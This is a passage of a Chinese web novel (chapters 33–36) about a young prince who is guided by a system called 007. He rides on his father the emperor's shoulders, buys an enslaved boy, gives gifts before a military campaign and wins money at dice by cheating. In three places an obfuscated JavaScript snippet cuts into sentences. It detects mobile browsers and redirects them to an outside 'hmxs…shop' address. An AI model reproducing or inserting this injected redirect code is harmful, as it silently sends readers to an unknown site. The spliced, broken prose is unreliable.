【任务描述:请与您的父皇进行一次突破性亲子互动!父皇牌人形坐骑体验(即俗称的骑大马)!】 【奖励:初级延年益寿丹(10年)。】 007看准时机,把真正要做的任务展示了出来。 李常安哭声戛然而止,眼睛充满期待地看着皇帝。 “那……那我……要骑大马!像……像戏文里爹爹驮娃娃那样!父皇驮我!在屋里走几圈!” 皇帝:“…………” 王公公差点一口气没上来。 骑大马?还要架在脖子上?在屋子里走?让九五之尊……当马? 皇帝脸色变幻,精彩纷呈。 他想拒绝,可那句“不行”怎么也说不出口。君无戏言……这真是搬起石头砸自己的脚! “胡……胡闹!”皇帝再次斥道,却毫无威慑力。 “父皇说话不算话!哇——”李常安嘴一扁,作势又要开哭。 “行了!”皇帝太阳穴突突直跳,怕他又找太后告状,几乎是咬牙切齿地妥协,“……只此一次!” 皇帝深吸一口气,走到屋子中央稍微宽敞的地方,僵硬地弯下腰。 李常安立刻破涕为笑,手脚并用地爬上去,在皇帝的帮助下,小心翼翼地骑上了皇帝的脖颈,小手紧紧抓住皇帝束发的金冠。 “坐稳了。”皇帝闷声道,双手扶住孩子的腿,缓缓直起身。 视野陡然升高,李常安先是吓了一跳,随即兴奋起来。 他低头看着皇帝乌黑的发顶和近在咫尺的金冠,忍不住伸出小手摸了摸。 “别乱动。”皇帝警告,开始迈步。 他走得极慢,极稳,绕着不算大的寝殿内室,一步一步。 堂堂天子,此刻真的成了一匹“马”,驮着自己的“小债主”。 李常安起初还有些紧张,很快便放松下来,甚至开始指挥:“左边!左边!去窗边看看!” 皇帝依言转向窗边。 “好了,回去,去炕那边!” 皇帝又转向炕边。 走了约莫三四圈,李常安玩够了,也看到任务完成的提示,心满意足。 他俯下身,小脑袋凑到皇帝耳边,带着奶气说道:“谢谢父皇。” 然后,飞快地在皇帝的脸颊上,“吧唧”亲了一口。 皇帝浑身一僵,脚步顿住了。 李常安却已经拍拍他的肩膀:“好了好了,放我下来吧。一个时辰到了,父皇该去忙了。” 皇帝动作有些迟缓地将孩子放下来,指尖还残留着温度,脸颊上被亲过的地方,更是像烙铁一样烫。 李常安落地后,擦了擦脸上残留的泪痕,抱起蹭过来的豆沙,一副“事情办完你可以走了”的表情,挥挥小手:“父皇再见。” 回到养心殿,皇帝第一件事就是命人用不同的方法、不同的器皿、甚至加入不同的东西,反复试验滴血认亲。 结果无一例外地证明,此法毫无依据,根本不能作为亲子鉴定的凭证。 试验结束,皇帝沉默了许久,他挥退了太医和宫人,独自坐在空旷的大殿中。 脸颊上……那轻柔一吻,让他心烦意乱。 他闭上眼,眼前浮现出小七哭得通红却执拗的眼睛,指控他怀疑的眼神,还有最后得逞后狡黠的笑意。 “父皇说话不算话!” “谢谢父皇。” 两种声音在他耳边交织,皇帝摸了摸被亲过的脸颊,似乎还在发烫。 33.第 33 章 半月禁足之期,转眼便至,解禁前一天,皇帝照常授课。 讲到“苦其心志”时,皇帝顿了顿,看向李常安:“明日解禁,回弘文馆。” 李常安眼睛一亮:“弘文馆?能见到太子二哥吗?” 皇帝点点头:“太子在隔壁明理斋进学,督导政论。你所在的启蒙斋是基础课业,时辰不同,未必能时常见到。” 他解释了一句,又道,“馆内有你的伴读,需谨言慎行,遵守学规。” “儿臣知道了。”李常安开心应下。 翌日,天朗气清。 李常安穿着月白锦袍,气色红润地踏入久违的弘文馆。 学堂内已坐了不少宗室及大臣子弟,陌生的面孔和齐刷刷投来的目光让他略感不适,脚步不由顿了一下。 还未等他找个人问自己坐哪里? 两个比他略长些的少年,快步迎了过来,躬身行礼。 “臣迟晏,见过七殿下。” “臣苏文瑾,给七殿下请安啦!” 007怕李常安不认识,跟小七介绍道: 【左边那个是迟晏,镇国公世子,现任宿主伴读之一,性格像个小老头。】 【右边这个是苏文瑾,光禄寺少卿苏文谦次子,宿主的另一个伴读,是个开心果。】 他对迟晏点了点头,对苏文瑾则下意识地回了一个浅浅的微笑。 迟晏看着七殿下对苏文瑾的态度,莫名有些不爽,不过他很快压了下去。 苏文瑾见李常安看他,笑得露出来虎牙,还悄悄地眨了眨眼。 李常安看着眼前两个风格迥异的少年,一个沉稳持礼,一个活泼亲切,心中那点初入陌生环境的不安悄然散去不少。 “不必多礼。”李常安轻声说道。 迟晏直起身,目光直直地看着李常安,似乎在确认他的气色和精神,眼神关切。 而苏文瑾则已经笑嘻嘻地侧身引路:“殿下,您的座位在这儿,我和迟晏特意挨着您坐的!” 李常安顺着他的指引,在两人中间的空位坐下。 迟晏替他整理了一下书案上的笔墨。 苏文瑾则从自己书袋里摸出一个小油纸包,悄声道:“殿下,桂花糖,我娘亲手做的,可甜了,您尝尝?” 李常安犹豫了一下,还是开心地接过来,“谢谢。” 授课的钟声很快响起。 不过太傅讲得枯燥无趣,李常安听得眼皮打架。 一节课下来,迟晏悄悄用笔杆提醒了他好几次。 课间休息,迟晏低声问他近日起居,苏文瑾则笑嘻嘻讲着馆内趣事。 还没讲两句,就有一个讨厌的声音在李常安耳边响起。 “哟,这不是‘病愈’的七弟吗?” 五皇子李常睿领伴读晃了过来。 “听说你脑子烧坏了?什么都不记得了?啧啧,本来就不聪明,忘了也好,省得垫底丢人。” 学堂瞬间安静了下来,准备看看李常安的反应,失忆了是不是还像以前一样那么狠? 一旁的苏文瑾生气地站起来,刚准备维护一下殿下。 坐在中间的李常安就站起来拉住他,李常安抬头看着眼前胖胖黑黑的五皇兄,眨了眨眼,忽然开口:“五皇兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870046|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你早上是不是没漱口?” “什么?” “不然怎么一说话,就有股味儿?” 李常安皱着小鼻子,一脸天真。 “好像是……昨晚剩菜放馊了的味道?太傅说了,‘君子耻其言而过其行’。五皇兄,你是不是昨晚偷吃剩菜没刷牙呀?” “噗——”低笑声四起。 李常睿脸涨成猪肝色:“你胡说什么!李常安!你失忆了还敢胡说八道!” “我没有胡说呀。”李常安一脸乖乖地说道。 “太医说我这儿现在可干净了,正好重新学。不过五皇兄,你好像记得很多?那太傅刚才讲的‘友直,友谅,友多闻’,是什么意思?你能教教我吗?” 李常睿顿时语塞,他根本不会!!! “你……你……”他气得发抖。 迟晏适时开口:“五殿下,七殿下初愈,若有言语不当,海涵。然太傅所讲,确是君子之道。若五殿下愿切磋,臣等亦可请教。” 苏文瑾笑嘻嘻:“对呀对呀,五殿下学问好,待会儿太傅提问,正好让我们见识见识!” 李常睿见小七失忆后竟然这么伶牙俐齿,只能在众人目光中狠狠瞪了李常安一眼,悻悻坐回了座位。 学堂许多人看向李常安的目光带着惊奇,窸窸窣窣地低声议论。 这位失忆后的七皇子,嘴皮子竟如此伶俐? 而李常安则若无其事地整理今天的书册,嘴角微翘。 【宿主,怼得漂亮!】007开心地点赞,它感觉出了一口恶气。 “是他先惹我的。”李常安心里哼道。 34.第 34 章 北境突厥阿史那部去年冬天多次侵犯边境,抢劫州县。 开春后,边关军报传来,皇帝李弘决意御驾亲征,命太子李常宸监国,不过皇帝知道太子年纪还轻,需要经验丰富的人辅助。 所以特别请太后垂帘听政,稳定宗室,同时让和亲王李崇简入朝辅政。 而另一边李常安解禁后还没去过慈宁宫。这日太后念叨起来,便派人去召。 “小七来了?”太后正在暖阁里翻看画册,见他进来,笑着招手,“到皇祖母这儿来。” 李常安走过去,规规矩矩行礼。 太后拉他坐下,仔细端详他的小脸:“这几日怎么没精打采的?可是闷着了?” 李常安眼睛转了转,凑近些,声音软软的:“皇祖母,宫里真的好闷……父皇要出征,大家都不许大声说话,不许跑不许跳,连花园里的鸟好像都不敢叫了。” 太后被他逗笑了:“你呀,就会夸张。” 李常安见太后心情不错,便挨得更近些,小手轻轻拽了拽太后的衣袖,眼睛眨巴眨巴:“皇祖母,您上次说……等天暖了,允我出宫看看的。” “哦?”太后挑眉,“现在想起来讨承诺了?” “您看今天天气多好!” 李常安指向窗外,“太阳暖暖的,风也不冷。我就出去半日,不,两个时辰也行!就去西市转转,听说那儿有糖人、皮影戏,还有会说话的小鹦鹉……” 他说得眼睛发亮,又赶紧补上一句:“我保证乖乖的,带足侍卫,申时前一定回来!皇祖母——” 最后那声“皇祖母”拖得长长的,软软糯糯,还带着点小委屈。 太后被他磨得没法,笑着点了点他的额头:“你这孩子,跟谁学的这般会缠人?” 李常安立刻顺杆爬:“跟皇祖母学的呀!您最疼我了,对不对?” “就你嘴甜。”太后摇摇头,对身旁的嬷嬷道,“罢了,去安排一下,明日让七皇子出宫半日,多派些侍卫跟着,务必护周全了。” “谢皇祖母!”李常安差点蹦起来,又赶紧端住皇子仪态,只是眉眼间的喜色藏都藏不住。 太后看他这样,又嘱咐:“记住,申时前必须回宫。不得去偏僻处,不得与人争执,更不许乱吃东西——外头那些不干不净的,仔细吃坏肚子。” “是是是,孙儿都记下了!”李常安连连点头,小模样乖得不得了。 翌日上午,天朗气清,西市人声鼎沸,比李常安想象的还要热闹。 迟晏和苏文瑾一左一右跟着他,身后不远处跟着四名便装侍卫。 “殿下想买什么?”迟晏目光时刻留意着周围。 “随便看看。”李常安其实心里揣着事——他想送父皇一件出征的礼物。 可看了一圈,玉佩、刀剑、护身符……不是太贵重就是太寻常。 直到经过一家老银楼时,他脚步顿住了。 橱窗里摆着各色金银小件,其中一只憨态可掬的小金虎让他心念一动。 “客官里边请!”掌柜热情迎出来。 李常安从荷包里倒出几十颗金瓜子——是平日攒下的赏赐。 “老伯,我想打一只小金麒麟,这么大。” 他比了比拇指大小,“要昂着头的,眼睛要亮亮的,能……能保佑平安那种。” 掌柜捻须笑道:“只是这几日活计多,若要赶工,工钱需加三成。” “多久能好?” “未时末来取,如何?” 李常安算了算时辰,点头应下,付了定金。 走出银楼时,荷包已轻了大半。 三人又在市集逛了会儿。 苏文瑾买了糖画,迟晏选了一方砚台。 行至西市深处僻静处时,一阵压抑的呜咽和呵斥声传来。 只见墙角围着一群人,当中几个彪形大汉正用皮鞭抽打着七八个被铁链锁住的人。 那些人肤色黝黑,身材高大却瘦骨嶙峋,浑身伤痕累累,蜷缩在地上瑟瑟发抖。 “昆仑奴。”迟晏低声道,“南洋来的,力气大但笨拙,多买来做苦力。” 李常安的目光落在一个最瘦小的昆仑奴身上。 是个少年,不过十三四岁模样,肋骨根根分明,背上新伤叠旧伤,此刻正死死咬着嘴唇,不让自己哭出声。 “住手!”李常安自己都没反应过来,话已脱口而出。 执鞭的汉子回头,见是个锦衣小公子,皮笑肉不笑道:“小公子,咱们管教自家奴仆,不碍您的事吧?” “他们……犯了什么错?” “偷懒!不抽不听话!”汉子说着又是一鞭甩向那少年。 李常安急道:“别打了!我……我买他!” 汉子停下手,上下打量他:“小公子,这奴虽瘦,但骨架好,养养就是好劳力。十两银子,不二价。” 十两!李常安摸了摸荷包——方才打金麒麟已花了大部分金瓜子,剩下碎银加起来也不过二三两。他回头看向迟晏和苏文瑾。 迟晏皱眉,低声道:“殿下,臣身上未带足银两。不如先回府取……” “我有法子!”苏文瑾突然扯了扯李常安的袖子,眼睛亮得异常,“殿下随我来!” 他拉着李常安就往旁边一条小巷钻。 迟晏阻拦不及,只得快步跟上。 侍卫们对视一眼,见此也只能跟上。 小巷深处竟藏着一家不起眼的赌坊,门帘半掩,里头传来骰子声和吆喝声。 “不可!”迟晏一把拦住,“殿下千金之躯,怎能进这种地方?” “就一会儿!一会儿就好!”苏文瑾急道,“我、我保证能赢!” 李常安看看苏文瑾,又回头望望巷口。 他一咬牙:“赌一把,进去,快点出来。” 赌坊内乌烟瘴气。 苏文瑾径直挤到最里一张赌大小桌前,从怀里摸出一两碎银,啪地押在“大”上。 “买定离手——开!四五六,大!” 一两变二两。 苏文瑾不取钱,将二两全押“小”。 “一一三,小!”二两变四两。 如此连押四把,苏文瑾面前的银子已堆到十六两。 庄家额头见汗,周围赌客啧啧称奇。 苏文瑾见好就收,抓起银子拉着李常安就走。 出了赌坊,他才松了口气,对一脸震惊的李常安小声道:“殿下,我、我从小运气就好……逢赌十有八九能赢,但家里怕我学坏,严禁我去赌场,您千万别告诉我爹!” 李常安一脸羡慕:“我知道了,我不会说的。” 迟晏脸色铁青,但事已至此,也没有说啥。 十两银子递给那汉子,签了契书,昆仑奴就归了李常安。 昆仑奴少年好像知道李常安买下了他,铁链一解开就踉跄着扑倒在李常安脚边,以额触地,含糊不清地说着什么,似是番语。 “起来吧。”李常安看着他有些心疼,“以后你就叫……阿铁,跟着我,不会再挨打了。” 阿铁抬起头,黑亮的眼睛里有泪光闪动,重重磕了三个头。 回程时已近申时,一行人匆匆往宫门赶。 行至主街,忽闻前方马匹嘶鸣! 一辆马车不知为何惊了,车夫被甩下,两匹高头大马拖着车厢疯冲而来,行人惊惶四散,马车正前方,一个卖花的小女孩吓呆了,站在原地动弹不得!后面便是李常安一行人。 “小心!”迟晏一把将李常安往后拉。 电光石火间,阿铁窜出! 他竟不躲不闪,闷吼一声,双臂肌肉贲张,迎着疯马直冲上去,在马车即将撞上小女孩的瞬间,双手死死扣住车辕,脚下如生根般扎进青石板缝—— “吁——!” 马匹被这巨力所阻,前蹄扬起,竟被硬生生拖停!车厢歪斜,轰然倒地。 阿铁双臂衣袖尽裂,手臂上青筋暴起,却稳稳护住了身后的小女孩。 街上随即爆发出喝彩声。 车夫连滚爬爬过来千恩万谢,小女孩的母亲抱着孩子哭出声。 李常安看着阿铁佩服不已。 “殿下,”迟晏低声道,“十两银子赚大了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874569|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回宫后,李常安将阿铁安置在长春宫后罩房,吩咐太医给他治伤。 未时末,李常安命人去银楼将打好的金麒麟取来。 金麒麟小小一只,金灿灿的,眼睛是两粒墨玉,在灯下幽幽发亮。 李常安小心地把它包进帕子里。 出征前一天,宫里的气氛严肃到极点。 太庙祭祀,告慰祖先,皇帝穿着黑色金甲,在众人注视下,英武威严,尽显帝王气概。 傍晚,皇帝在养心殿安排最后的事宜。 王公公轻手轻脚进来:“皇上,七殿下在殿外求见,等了一会儿了。” 皇帝笔尖一顿:“让他进来。” 门开了,李常安迈着小短腿跨过门槛。 今天李常安穿着深蓝色绣银纹的皇子服,衬得小脸越发白净。 奇怪的是,他右手一直攥得紧紧的,好像握着什么宝贝。 走到书桌前,李常安规规矩矩行礼:“儿臣给父皇请安。” “起来吧。”皇帝放下笔,“这个时辰来,有什么事?” 李常安抬起头,往前蹭了两步,伸出紧握的小拳头,慢慢摊开手心。 一只小小的金麒麟,静静地躺在他白嫩的手心里。 小麒麟只有大拇指那么大,纯金的,做工说不上多精细,甚至有点憨头憨脑的。 小麒麟仰着脖子,四只小短腿微微弯曲,最出彩的是一双眼睛——两颗芝麻大的墨玉镶的,在烛光下幽幽发亮。 “父皇,这个送给您。” 皇帝挑了挑眉,身子微微前倾,目光落在那小玩意儿上。 “儿臣……儿臣没什么值钱东西。”李常安耳朵尖有点红。 “这是用平时攒的金瓜子,请宫外银楼打的,麒麟是祥瑞,能辟邪保平安。” 他顿了顿,“儿臣希望父皇平平安安的,打胜仗,早点回来。” 殿里一片安静。 王公公偷偷瞅皇帝的脸色——咦,皇上嘴角好像弯了一点点? 皇帝伸出手,从李常安手心里拿起那只小小的金麒麟,的确有点粗糙,不过心意尚可。 “你就用所有金瓜子打了这个?”皇帝忽然问。 李常安老老实实点头:“嗯,都用了。本来还想打个大点的,可金瓜子不够……” 说着,小脸垮了垮,“现在儿臣的小金库,空得能跑老鼠了。” 皇帝眼里闪过一丝笑意,很快又压下去。 “朕收下了。” 李常安眼睛“唰”地亮了,整个人都明媚起来。 皇帝站起身,走到他面前,高大的影子把李常安整个罩住了。 他伸出手,似乎想摸头,可手悬在半空顿了顿,最后落在李常安单薄的肩膀上,轻轻拍了拍。 “在宫里好好待着,别惹事。” “嗯!”李常安用力点头,随即眨巴眨巴眼,露出点可怜相。 “父皇,那……那您能不能赏儿臣点金瓜子?就一点点!不然往后宫学里比赛,我都拿不出彩头了……” 皇帝看着他小狗似的眼神,差点没绷住脸。 “你送朕东西,就为了要赏?”皇帝故意板起脸。 “不是不是!”李常安急忙摆手。 “送麒麟是真心的!要赏是……是顺便的。”说着自己也不好意思地笑了。 皇帝摇摇头,转身走到书案前,提笔写了几个字,盖上私印,递给王公公:“去内务府,支五十两金给七皇子。” 王公公赶紧接过来:“是。” 李常安乐得差点跳起来,又赶紧忍住,规规矩矩行礼:“谢父皇赏!” “行了,回去吧。”皇帝挥挥手。 “儿臣告退!”李常安退后几步,走到门口,又回头看了一眼,这才跟着王公公离开。 殿门轻轻合上。 皇帝独自站了一会儿,重新摊开手。 小金麒麟静静躺着,墨玉眼睛幽幽发光。 他摇了摇头,低声自语:“小滑头……送个礼,倒把朕的私房钱坑走一笔。” 可嘴角,却是不自觉地扬着。 35.第 35 章 养心殿的门在身后轻轻合上,李常安跟着王公公走出几步,才悄悄松了松一直紧绷的肩膀。 怀里揣着皇帝刚批的条子,五十两金呢! 【宿主!宿主!】007的声音在脑海里兴奋得快要跳起来。 【您太厉害了!一只小金麒麟换五十两金,这买卖血赚啊!】 李常安嘴角微翘,在心里回道:“什么叫买卖?那是父子情深,礼尚往来。” 【对对对,孝顺孝顺!】007从善如流,不过又嘀咕,【但是宿主刚才装可怜要金瓜子的样子……好像豆沙想吃肉时的眼神哦。】 李常安小脸一红:“我、我才没装!我是真没钱了嘛……打金麒麟把金瓜子都用光了。再说了,父皇赏儿子点零花钱,天经地义。” 王公公将他送到长春宫门口,笑眯眯道:“殿下明日午后来内务府取金子便是。老奴告退了。” “有劳王公公。” 回到长春宫,李常安把条子小心收好,这才往榻上一歪,长长舒了口气。 豆沙从角落里窜出来,熟门熟路地跳上他膝盖,小鼻子在他袖口嗅来嗅去——今日出宫,李常安给它带了包糖炒栗子。 “给你留着呢。”李常安笑着摸出油纸包,剥了一颗喂它。 栗子香甜,豆沙吃得眯起眼,蓬松的大尾巴一摇一摇。 第二天天还没亮,大军就开拔了。 下午,李常安迫不及待地去内务府领了金子——五十两金,实打实的金锭,沉甸甸一小匣子。 他让素心收好。 李常安自己也剥了一颗,塞进嘴里,鼓着腮帮子边嚼边想:“走吧,我们去慈宁宫走走。” 太后正在暖阁里听戏,见李常安来,笑着招手:“小七来了?过来坐。” “皇祖母。”李常安规规矩矩行礼,从身后小太监手里接过一个锦盒,“孙儿昨日出宫,看见这个,想着皇祖母一定喜欢。” 锦盒打开,里头是一尊白玉观音,不过巴掌大,玉质温润,雕工细腻,观音眉眼慈悲,衣袂飘飘。 太后眼睛一亮,拿起来细看:“这是……西街陈记玉器行的?” 李常安惊讶:“皇祖母怎么知道?” “陈记的老手艺,哀家认得。” 太后摩挲着观音像,眼中露出怀念,“你皇祖父在时,常给哀家带他家的玉件。” 李常安趁机道:“皇祖母整天念佛,有这个观音陪着,佛祖一定更保佑父皇打胜仗!” 这话说到太后心坎里了。 她拉着李常安的手,轻轻拍了拍:“小七有心了,还记着皇祖母。” 从慈宁宫出来,李常安转道去了东宫。 太子李常宸正在书房看奏报,眉头微皱。 听到内侍禀报小七来了,他有些意外。 “请小七进来。” 李常安抱着个小锦盒进来,小脸红扑扑的:“皇兄!” “七弟怎么来了?”太子放下笔,温声道,“坐。” “我不坐,我送完东西就走,不打扰皇兄。”李常安把锦盒放到书案上,打开来,“皇兄你看!” 盒子里是一条深褐色的沉香木手串,珠子圆润,泛着温润的光泽。 “这是……” “这是沉香木手串!”李常安眼睛亮晶晶的。 “卖手串的老爷爷说,戴在手上,闻了脑子清醒!……这个送给皇兄!” 太子愣住了,笑着揉了揉小七的脸,接过手串戴在腕上。 珠子大小正合适,淡淡的沉香气息让人心神宁静。 “很合适。”太子温声道,“谢谢七弟,皇兄很喜欢。” “皇兄喜欢就好!”李常安笑得眉眼弯弯,“那我走啦,皇兄别太累!” 说完,规规矩矩行了个礼,蹦蹦跳跳地跑了。 最后一份礼,李常安等到弘文馆下学,人都走光了,才磨磨蹭蹭凑到太傅身边。 太傅正在收拾书案,咳了两声——他今日讲了半天课,嗓子确实不舒服。 “太傅……”李常安小声叫。 太傅抬头,见是他,有些意外:“七殿下有事?” 李常安从书袋里掏出个油纸包,双手递过去:“这个……给太傅。” 油纸包打开,里头是一包褐色的东西,闻着有股淡淡的甜香。 “这是罗汉果茶,喝了嗓子舒服,太傅讲课辛苦了……这个给您。” 太傅怔住了。他教了这么多年书,还是第一次有学生送他润喉的茶。 “殿下怎么……” “谢谢太傅之前送的书,我前两天听见太傅咳嗽了。” 李常安小脸认真,“太傅要好好保护嗓子,不然就成鸭子了。” 这话天真又真诚,太傅看着眼前才六岁的小殿下,心中微软。 他接过茶包,温声道:“多谢殿下关心。” “太傅要记得喝哦!”李常安叮嘱完,这才抱着书袋跑出学堂。 李常安跑出弘文馆,心里美滋滋的。送礼物真开心!大家都高兴! 回到长春宫,他先去看阿铁。 太医已经来过了,阿铁的伤敷了药,正乖乖坐在炕上。 “还疼吗?”李常安问。 阿铁摇头,黑亮的眼睛看着李常安,忽然笨拙地比划——他指了指李常安,又指了指自己的心口,然后双手合十,做了个“谢谢”的动作。 李常安看懂了,笑得眼睛弯弯:“不用谢!你好好养伤。” 素心在一旁道:“殿下,太医说阿铁伤好得很快,体质特别。只是……有件事得跟您说。” “什么事?” “阿铁是男子,不能住在内宫。” 素心压低声音,“按规矩,要么送去净身房……要么安排在外围当差。” 李常安小脸一白:“净身房?那、那是什么意思?” 【就是变成太监。】007小声解释。 李常安吓得往后缩了缩,他虽然不太懂,但知道那肯定是很不好的事。 “不要!”他急忙说,“阿铁不要变成太监!” “那只能安排在外围了。”素心道。 “奴婢可以找人教他规矩,让他在外围当个杂役,殿下想见他时,再召他来。” 李常安想了想,点头:“好!就这样!再给阿铁找个师父,教他说话、认字。” “是。” 日子一天天过去,皇帝出征已半月有余。 宫里好像没什么变化,又好像处处都不一样了。 这日弘文馆下学早,苏文瑾凑到李常安身边,“殿下!我听说御花园的荷塘里新放了好多锦鲤,比巴掌还大!咱们去瞧瞧?” 李常安正觉得闷,小脑袋一点:“好呀!” 迟晏原本要跟着,却被太傅留下问话,只能目送两人蹦蹦跳跳地往御花园去了。 荷塘边果然热闹。五皇子李常睿被几个跟班簇拥着,正指挥小太监撒鱼食。 锦鲤们红彤彤、金灿灿的,挤作一团抢食,水花哗啦哗啦的。 “看见没?那条最红的,是我专门喂的!”李常睿得意地扬着下巴,声音大得隔老远都能听见。 苏文瑾悄悄撇嘴,凑到李常安耳边:“吹牛,御花园的鱼都是内务府管的,哪条是他养的?” 李常安捂嘴笑,正要拉着苏文瑾去别处看花,李常睿却眼尖瞧见了他们。 “哟,这不是七弟吗?”李常睿晃悠过来,上下打量着李常安,“也来看鱼?你长春宫那池子,怕是连条泥鳅都养不住吧?” 周围几个跟班配合地发出嗤笑声。 苏文瑾气得小脸一鼓,刚要反驳,李常安却轻轻拉住了他的袖子。 “五皇兄说的是。”李常安眨巴着大眼睛,声音软软的。 “我那儿池子是小,鱼也少。不过听说五皇兄近来得了不少稀罕玩意儿,件件都是宝贝,能让我开开眼吗?” 这话可挠到了李常睿的痒处。 他最爱显摆,一听这话,尾巴都快翘到天上了。 “算你有眼光!”他大手一挥,“走,去我那儿瞧瞧!让你们见识见识,什么叫好东西!” 景阳宫偏殿里,多宝架上果然摆满了各色新奇玩意儿。 会自己打鸣的西洋钟,流光溢彩的琉璃盏,雕工精细的象牙小象……李常睿一样样显摆过去,下巴越抬越高。 李常安看得目不转睛,小嘴微张,一副“大开眼界”的模样,心里却偷偷跟007说:【好多钱呀……】 【粗略估算,总值超过一万两。】 007也啧啧称奇,【五皇子母家是江南大盐商,确实豪富。】 李常安眼睛滴溜溜转,不知在想些什么。 李常睿显摆到最后,小心翼翼捧出一个锦盒,打开来,里头是一副白玉棋盘。 棋盘温润如脂,棋子是墨玉和白玉打磨的,黑白分明,光可鉴人。 “这可是顶好的和田玉!” 李常睿得意极了,“我舅舅特意从江南带回来的,就这么一副,值这个数——”他伸出五根手指,“五百两!” “哇——”苏文瑾很给面子地惊叹出声。 李常安也凑近了些,小脑袋几乎要贴到棋盘上,看得认真极了。 忽然,他“咦”了一声,伸出小手指着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880775|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋盘一角:“五皇兄,这里……是不是磕了一下?” “什么?!”李常睿脸色一变,急忙把棋盘拿到眼前细看。 果然,在边角不起眼的地方,有个米粒大小的缺损,不仔细看还真发现不了。 “这、这怎么会……”他慌了神,捧着棋盘的手都有点抖,“我昨天看还好好的!” 李常安小脸上满是惋惜:“真可惜……这么好看的棋盘。” 李常睿心疼得脸都白了。 这棋盘他最喜欢,还打算过几日拿去三皇子那儿炫耀呢! 苏文瑾眼珠一转,忽然道:“五殿下,我听说西市有个老师傅,手艺可神了,专门修补玉器。这点小磕碰,他肯定能修得跟新的一样!” “真的?”李常睿眼睛一亮。 “当然是真的!不过……”苏文瑾故意拖长了声音。 “修玉可贵了,尤其是这么好的料子,没个一二百两,人家怕是不接。” “一二百两?!”李常睿倒吸一口凉气。 他是有钱,但一二百两也不是小数目,要是让母妃知道他拿这么多钱去修东西,非骂他不可。 他正发愁,李常安软软的声音响了起来:“五皇兄,要不……咱们玩个小游戏?你要是赢了,修棋盘的钱就有了。” “什么游戏?” 李常安从荷包里摸出两颗骰子——这是前几日苏文瑾塞给他玩的小玩意儿。 “比大小呀!简单得很。” 他把骰子放在桌上,“咱们各掷一次,谁点数大谁赢。一局……五十两,怎么样?” 五十两不多不少,李常睿心动了。 他看看骰子,又看看棋盘,一咬牙:“赌了!我先来!” 他抓起骰子,在手里晃了晃,嘴里念念有词,然后往桌上一掷—— 骰子滴溜溜转,停下时,一个五点,一个六点。 “十一!”李常睿眼睛亮了,“该你了!” 李常安拿起骰子,小手合拢,装模作样地摇了摇,心里却喊:【007!】 【扫描完毕,当前骰子状态:六点,六点。】007的声音带着笑意,【宿主放心掷。】 骰子落下,两个鲜红的六点朝上。 “十二!”苏文瑾欢呼起来,“殿下赢了!” 李常睿傻眼了。他看着那两颗六点,脸一阵红一阵白。 “再来!”他不服气。 第二局,李常睿掷出九点。李常安轻轻一掷——十点。 第三局,李常睿憋足了劲,掷出十点。李常安小手一松——十一点。 三局下来,李常安面前堆了一百五十两银票。 他眨巴着大眼睛,看着脸色铁青的五皇兄,声音软糯糯的:“五皇兄,还玩吗?” 李常睿看着空空如也的荷包,又看看那副磕坏了的棋盘,欲哭无泪。 “不玩了!修棋盘都够了!” 说完,抱着棋盘气呼呼地走了。 等他一走,李常安立刻笑开了花,小脸红扑扑的,把银票一张张收好。 “殿下真厉害!”苏文瑾眼睛亮晶晶的,“不过……您怎么每次都能赢啊?” 李常安神秘兮兮地凑到他耳边:“我悄悄告诉你哦,我昨天晚上梦到神仙爷爷了,他教我怎么掷骰子!” “真的呀?!”苏文瑾信以为真,满脸羡慕。 【宿主,你这瞎话编得越来越溜了。】007在脑海里偷笑。 “这叫善意的谎言!”李常安理直气壮,“而且,赢来的钱我要做正事的!” 第二天,李常安就让素心以“五皇子殿下的名义”,捐了五十两银子给慈幼局,这样五皇兄就算反应过来了,也拉不下脸来找他要回去。他可是做好人好事。 剩下的银子,他小心翼翼地收好。 只是这事不知怎么传到了迟晏耳朵里。 这日下学后,他特意等李常安一起走,小脸板得紧紧的。 “殿下,臣听说……您和五殿下赌钱了?” “嗯呀!”李常安点头,眼睛弯弯的,“赢了一百五十两呢!” 迟晏眉头皱得更紧了:“殿下,赌博非君子所为。您是皇子,更该谨言慎行……” “可是五皇兄先笑话我的。” 李常安撅起小嘴,“而且我就是跟他玩玩嘛,又没去外头赌坊。” “但您用了骰子……” “骰子怎么了?苏文瑾还跟我玩弹珠呢!” 李常安不服气,“迟晏,你管太多了!我们就是闹着玩!” 迟晏被他噎得说不出话。 李常安看他这副样子气呼呼走了。 36.第 36 章 永和宫里,丽妃正对着一面鎏金铜镜细细描眉。 “母妃……”五皇子李常睿耷拉着脑袋站在一旁。 “闭嘴!”丽妃将眉笔重重拍在妆台上,发出“啪”的一声脆响、 